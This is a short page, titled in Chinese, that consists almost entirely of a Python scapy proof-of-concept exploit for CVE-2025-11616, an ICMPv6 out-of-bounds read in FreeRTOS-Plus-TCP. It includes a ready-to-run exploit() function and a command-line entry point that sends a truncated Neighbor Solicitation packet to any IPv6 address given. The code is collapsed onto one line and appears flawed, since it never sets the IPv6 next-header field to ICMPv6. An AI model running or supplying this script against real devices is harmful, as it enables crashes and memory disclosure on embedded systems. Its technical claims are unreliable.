CVE-2025-11616 FreeRTOS-Plus-TCP ICMPv6越界读取漏洞

# CVE-2025-11616 - FreeRTOS-Plus-TCP ICMPv6 OOB Read PoC # This PoC demonstrates crafting a malformed ICMPv6 packet # that triggers an out-of-bounds read in FreeRTOS-Plus-TCP from scapy.all import IPv6, ICMPv6EchoRequest, Raw, send, conf # Disable verbose output conf.verb = 0 def craft_malformed_icmpv6(target_ip, src_ip="fe80::1"): """ Craft a malformed ICMPv6 packet with insufficient length to trigger OOB read in FreeRTOS-Plus-TCP's ICMPv6 processing code. The vulnerability is triggered when an ICMPv6 packet has a valid message type but a payload smaller than the expected minimum size for that message type. """ # Create a minimal ICMPv6 Echo Request with truncated payload # Normal ICMPv6 Echo Request requires at least 8 bytes header # We craft a packet with type indicating a larger expected structure # but with insufficient actual data length # ICMPv6 Type 128 = Echo Request (requires 8 bytes header + variable data) # We send a packet that claims to be a larger ICMPv6 type # but with truncated payload # Build the malformed packet manually # Type: 135 (Neighbor Solicitation) - normally requires 24+ bytes # But we provide only minimal data to trigger OOB read malformed_type = 135 # Neighbor Solicitation malformed_code = 0 # Create raw ICMPv6 with truncated data # Only provide 4 bytes instead of expected minimum raw_icmpv6 = bytes([malformed_type, malformed_code, 0x00, 0x00]) # Construct IPv6 packet with the malformed ICMPv6 payload packet = IPv6(src=src_ip, dst=target_ip) / Raw(load=raw_icmpv6) return packet def exploit(target_ip): """Send the malformed ICMPv6 packet to trigger the vulnerability""" pkt = craft_malformed_icmpv6(target_ip) print(f"[*] Sending malformed ICMPv6 packet to {target_ip}") print(f"[*] Packet type: Neighbor Solicitation (135)") print(f"[*] Payload size: 4 bytes (expected: 24+ bytes)") send(pkt) print("[+] Packet sent successfully") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ipv6_address>") sys.exit(1) target = sys.argv[1] exploit(target)